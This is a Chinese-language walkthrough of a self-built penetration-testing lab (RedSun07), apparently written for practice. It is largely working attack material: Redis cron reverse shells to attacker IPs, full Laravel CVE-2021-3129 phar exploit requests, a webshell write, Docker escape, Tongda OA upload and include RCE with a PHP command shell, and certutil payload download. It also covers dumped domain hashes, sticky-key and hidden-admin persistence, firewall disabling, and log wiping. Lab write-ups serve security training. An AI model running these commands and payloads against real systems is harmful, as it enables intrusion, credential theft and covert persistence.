RedSun07
简介
开始时间: 2024-02-28
结束时间: 2024-03-02
总结时间 2024-03-02
环境搭建
网络设置

发现需要两个内网网段和一个外网网段
通过nat 网卡模拟外网

- web1 - ubuntu - 密码 - web : web2021  
- web2 - ubuntu - 密码 - ubuntu : ubuntu  
- pc1 - win7 - 密码 - bunny:Bunny2021  
- pc2 - win7 - 密码 - moretz:Moretz2021  
- winserver - winserver 2012 - 密码 - Administrator:Whoami2021 
服务搭建
DMZ 区域的ubuntu 开启redis 和ngnix 服务
web1
开启 redis服务
| 1 |  | 

开启ngnix服务
| 1 |  | 

开启防火墙
| 1 |  | 
web2
ubuntu
启动docker
| 1 |  | 

| 1 |  | 
pc1
win7 开启通达oa

信息收集
已知的ip 和我同一个网段,假装使用域名反查到了ip
模拟正常的习惯
先查看Ip 模拟已知域名的情况

网站信息收集
- 访问服务  - 没有发现什么 
- 路径探测 - 使用wsl 进行运行,因为windows 运行效率太低  
- 指纹收集  
- api 泄露  - 啥也没有 
域名
由于已知ip就不需要将域名反差ip 了
已知ip
端口收集

查看81端口是什么

web渗透
- msf尝试利用22 端口 - 1 
 2
 3
 4
 5
 6- msf6 auxiliary(scanner/ssh/ssh_login) > set user_file /home/kali/users.txt
 user_file => /home/kali/users.txt
 msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file /home/kali/password.txt
 pass_file => /home/kali/password.txt
 msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.79.163Interrupt: use the 'exit' command to quit
 msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.79.163  
- 尝试使用6379 - 是否存在redis 未授权访问  - 尝试生成公钥 - 1 - ssh-keygen -t rsa - 1 - ( echo "\n\n" ;cat temp_keys.pub ;echo "\n\n" )> redis_keys - 通过Redis 命令行执行指令的方式,设置x 的values为ssh_key - 1 - cat redis_keys | redis-cli -h 192.168.79.163 -x set m  - 已经存在,设置工作目录  - 发现问题,权限不够 - 查看工作目录  - 猜测用户名为web  - 成功  - 尝试连接  - 由于用户存在密码所以登录失败 
- 尝试写webshell - 只能猜测Web 路径 - /var/www/html  
- 尝试写定时任务 - 首先开启监听 - 然后设置离路径  - 1 - set m "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.79.137/19999 0>&1\n\n" - 感觉不行 
- 主从复制 - 利用失败 
- 由于权限问题,应该使用root 权限启动服务的    - 注意 - 这里最好指定用户,因为我们是存放到root 所以我们使用root 用户登录
- 因为保存的不是在默认的文件地点,所以使用 -i 选项进行指定
 - 如果作者是要求使用普通用户的话,俺就没有办法利用了 
 
- 81端口  - 使用xray 搜索是否存在漏洞 - 网上搜索了一下漏洞  - 主状态500 说明可能存在问题 - 下载工具 - 1 - https://github.com/ambionics/phpggc.git- 添加执行权限 - 1 - chmod +x phpggc - 用phpggc生成phar序列化利用POC - 1 - php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" - 但是这个poc 实际上不能使用还需要在最后添加一个a - 清除原来的日志 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13- POST /_ignition/execute-solution HTTP/1.1
 Host: 139xxx:8080
 Content-Type: application/json
 Content-Length: 330
 {
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
 "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }- 给Log增加一次前缀,用于对齐 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13- POST /_ignition/execute-solution HTTP/1.1
 Host: 139.xxx:8080
 Content-Type: application/json
 Content-Length: 155
 {
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName":"username",
 "viewFile": "AA"
 }
 }- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13- POST /_ignition/execute-solution HTTP/1.1
 Host: 139.xxxxx:8080
 Content-Type: application/json
 Content-Length: 5050
 {
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName":"username",
 "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=54=00=67=00=6A=00=72=00=5A=00=4C=00=35=00=2F=00=43=00=56=00=58=00=4B=00=44=00=62=00=37=00=76=00=54=00=59=00=6B=00=47=00=48=00=5A=00=6B=00=58=00=6D=00=67=00=4A=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
 }
 }- 清空log 文件中的打扰字符 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12- POST /_ignition/execute-solution HTTP/1.1
 Host:139.xxx:8080
 Content-Type: application/json
 Content-Length: 290
 {
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
 "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }- 进行反序列化 - 这里需要指定一下绝对路径,但是如果没有ssh 的话 是查看不到的 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12- POST /_ignition/execute-solution HTTP/1.1
 Host: 139.xx:8080
 Content-Type: application/json
 Content-Length: 210
 {
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
 "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
 }
 }- 直接使用工具进行利用  - 使用哥斯拉 连接 - 但是哥斯拉版本需要控制一下,我选择直接放弃(消灾哥斯拉只用该版本4+,他需要2+) - 尝试使用综合利用工具 - 这个 需要修改一下自己的url  - vim 按G直接到最下面   - 尝试反弹shell  - 但是失败 - 尝试写webshell - 这个网站路径也是猜的,但是可以通过命令执行得到这个网站路径 - 1 - python Laravel_CVE-2021-3129_EXP.py "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"    
- 查询ip  - 没有ifconfig !? 
- docker 逃逸  - 发现存在于docker - 查看是否还有存在能用的指令  - 尝试使用curl - 1 - curl - 特权启动,使用挂载进行docker 逃逸 - 发现当前权限太低就尝试提权  - 可以尝试搜索高权限执行的文件 - 1 - find / -perm -u=s -type f 2>/dev/null  - 使用的是貌似是ps - 尝试使用环境变量劫持 - 1 
 2
 3
 4
 5
 6
 7- cd /tmp
 echo "/bin/bash" > ps
 chmod 777 ps
 echo $PATH
 export PATH=/tmp:$PATH
 cd /home/jobs
 ./shell- 由于蚁剑的终端不是一个完整的终端,所以使用export 无效  - 发现设置环境变量不行 - 尝试上传msf - 发现不能上线,猜测是不出网的原因 - 那么现在就只有redis 的ubuntu 是能使用的 - ubuntu? - 尝试反弹shelll 到ubuntu - 先写入一个shell 到文件   - 通过蚁剑 执行命令  - 这样不行换一种编码方式  - 执行 - 上线  - 1 
 2
 3
 4
 5
 6
 7- cd /tmp
 echo "/bin/bash" > ps
 chmod 777 ps
 echo $PATH
 export PATH=/tmp:$PATH
 cd /home/jobs
 ./shell - 添加成功   - 进行docker 逃逸  - 尝试写定时任务 反弹shell - 记得前面有一个hacker  - 发现里面有东西 - 1 
 2
 3- touch /hacker/hacker.sh
 echo "bash -i >& /dev/tcp/192.168.52.10/11234 0>&1" >/hacker/hacker.sh
 echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab - 反弹成功 - 为了区分,这个主机位ubuntu2 - 查看ubuntu1  - 确定是两个用户 
- ubuntu 1上线msf - 通过wget 下载   
- 开启代理 - 上传agent - 1 - upload /home/kali/penetration/proxy/stowaway/agent - kali 使用admin  - ubuntu 连接  - 开启代理  
- ubuntu2 上线msf - 生成bind 的payload - 1 
 2- msfvenom -p linux/x64/meterpreter/bind_tcp -f elf > l_x64_bind.elf - 上传到ubuntu1 通过python 开启http服务   - 上线成功 
内网信息收集
基于通过redis 获取的ubuntu
- 网段 - ubuntu1  - ubuntu2  - 发现新的网段  
- fscan - 192.168.52.1/24  - 发现还有30主机 - 192.168.93.1/24 
- 设置服务器代理  
横向移动
192.168.53.30
- 端口信息收集  - 发现了通达oa 
- 通达oa - 利用网站开启代理进行访问  - 通过网络搜索相关漏洞 - 或者使用利群 - 先开启代理  - 发现没有用 - 还是手动利用吧 - 给bp设置代理  - 使用bp自带的浏览器开启  - 上产图片🐎 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38- POST /ispirit/im/upload.php HTTP/1.1
 Host: 192.168.52.30:8080
 Content-Length: 658
 Cache-Control: no-cache
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
 Accept: */*
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
 Cookie: PHPSESSID=123
 Connection: close
 ------WebKitFormBoundarypyfBh1YB4pV8McGB
 Content-Disposition: form-data; name="UPLOAD_MODE"
 2
 ------WebKitFormBoundarypyfBh1YB4pV8McGB
 Content-Disposition: form-data; name="P"
 123
 ------WebKitFormBoundarypyfBh1YB4pV8McGB
 Content-Disposition: form-data; name="DEST_UID"
 1
 ------WebKitFormBoundarypyfBh1YB4pV8McGB
 Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
 Content-Type: image/jpeg
 <?php
 $command=$_POST['cmd'];
 $wsh = new COM('WScript.shell');
 $exec = $wsh->exec("cmd /c ".$command);
 $stdout = $exec->StdOut();
 $stroutput = $stdout->ReadAll();
 echo $stroutput;
 ?>
 ------WebKitFormBoundarypyfBh1YB4pV8McGB-- - 记住路径 - 使用文件包含访问 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- POST /ispirit/interface/gateway.php HTTP/1.1
 Host: 192.168.52.30:8080
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.21.0
 Content-Length: 87
 Content-Type: application/x-www-form-urlencoded
 json={"url":"/general/../../attach/im/2403/1795188965.jpg"}&cmd=whoami - 成功 - 上传payload 到ubuntu1 开启http让192.168.53.30 下载  - 1 - certutil.exe -urlcache -split -f http://192.168.52.10:8000/w_x64_bind_26767.exe c:\win.exe & start c:\win.exe  - msf 连接  
- 上线cs - 传递不了,忘记了这个是内网 
- 查看一下网段  
- 开启双层代理 - 上传工具       - 成功(为什么不用ubuntu 作为第二层的代理,因为ubuntu2不稳定,极其不稳定) 
- 进行信息收集一下  - 可以断定处于域环境   - 那么40 就是pc2,30为dc  - 获取域用户的hash 和密码 - 1 
 2
 3
 4
 5
 6
 7
 8- Administrator WHOAMIANONY 56b0cd8b125c05055e2dd9e955f18034 ab89b1295e69d353dd7614c7a3a80cec 2bc4124300a6a8fc0ca10891823d36c64e4b3a40
 PC1$ WHOAMIANONY 3e6a3d8c713b4821eaa51aab25f52074 d8e1318a24c64b8fcc89dc8609b09af50342bacf
 bunny WHOAMIANONY 7de10bf327ef7f2ac6ebe8776a153feb cc567d5556030b7356ee4915ff098c8f 3747632756191e3350e53211c63f804eb163638f
 Administrator WHOAMIANONY Whoami2021
 bunny WHOAMIANONY Bunny2021
- 开启远程桌面 - 1 - wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
192.168.93.40
- hash传递   
192.168.93.30
- hash 传递 - 失败 
- IPC 横向移动  - 拿着域控,走遍域控  - 上传payload  - 1 
 2- schtasks /create /s 192.168.93.30 /u WHOAMIANONY\Administrator /p "Whoami2021" /sc MINUTE /mo 1 /tn test2 /tr "c:\w_x64_bind_26767.exe"
 schtasks /run /s 192.168.93.30 /u WHOAMIANONY\Administrator /p "Whoami2021" /tn test2
- wmic - 1 - wmic /node:192.168.93.30 /user:Administrator /password:Whoami2021 process call create "cmd.exe /c c:\test.exe"- 利用失败 
- 关闭防火墙 - 1 - wmic /node:192.168.93.30 /user:Administrator /password:Whoami2021 process call create "netsh advfirewall set allprofiles state off"- 或者 - 1 
 2- sc \\192.168.93.30 create uf binpath= "netsh advfirewall set allprofiles state off"
 sc \\192.168.93.30 start uf
- 在尝试pth  
权限维持
- ubuntu1 - 已经写了公钥 
- 还可以写定时任务 - 1 - (crontab -l;echo '* */1 * * * exec 9<> /dev/tcp/192.168.79.137/19999;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -  
- 通过ssh 软连接后门 
- 起别名后门 
 
- ubuntu2 - 和ubuntu1同理 - 尝试写公钥  - 没办法 
 
- pc1 - 劫持 - 1 - REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
- 开启远程桌面 - 1 - wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
 
- pc2 - 和pc1 同理 
- 域控 - 开启远程桌面 
- 创建隐藏用户 - 1 
 2
 3- net user admin$ admin@123 /add /y
 net localgroup administrators admin$ /add
 net localgroup "remote desktop users" admin$ /add 
- rid 劫持 
- 制作黄金票据 
 
痕迹清理
- ubuntu1 - 删除所有的命令行记录 - 1 
 2
 3
 4
 5- history –w && history –c && > .bash_history
 userdel kali
 grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 
- ubuntu2 - 同理 
- pc1 - msf
 
- pc2 - 同理 
- dc - 同理 
总结
一共有5台主机,ubuntu1 和ubutu2 通过web 渗透的方式进行拿下的
pc1,pc2,DC 通过横向移动拿下的
Web渗透
- Redis 为什么这里没有利用成功的原因是没有使用root 权限开启服务 - wp 很多都是使用root 权限,但是官方的并没有root  - 但是  - 其实是提到的,所以我就更改了服务的启动权限 
- 通过修改后的redis 进行写公钥的方式,然后kali 指定文件( -i )的方式 
- 针对于ubuntu2 一开始一直尝试反弹shell 到kali 上面,但是不行,这个市使用nginx 反向代理的方式,代理服务器,所以ubuntu2 不出网,但是通过已经获取的ubuntu1 ,我们可以尝试使用反弹shell 到ubuntu1 上面。然后成功 
- ubuntu2 通过Laravel_CVE-2021-3129 获得了docker 然后通过挂载宿主机,然后写定时任务,进行反弹shell 到ubuntu1 
内网信息收集
- 通过内网信息收集,发现52 网段有三台主机 - ubuntu1(nat,192.168.52.10) - ubuntu2(192.168.52.20,192.168.93.10) - 未知windows (192.168.52.30) 
- 通过代理发现30存在通达oa 
内网横向移动
- pc1 192.168.52.30(192.168.93.20) - 利用通达oa 的rce 漏洞执行下载指令,然后执行bind payload 然后kali 通过ubuntu1 代理进行连接 
- 192.168.93.30 - 这一点很巧 - 通过获取pc1 密码,直接抓出了域管的密码 - 然后通过msf smb 服务指定域管用户,直接就拿下了 
- 192.168.93.40 - 使用sc 这只定时任务关闭防火墙 - 然后使用msf smb 方式拿下域控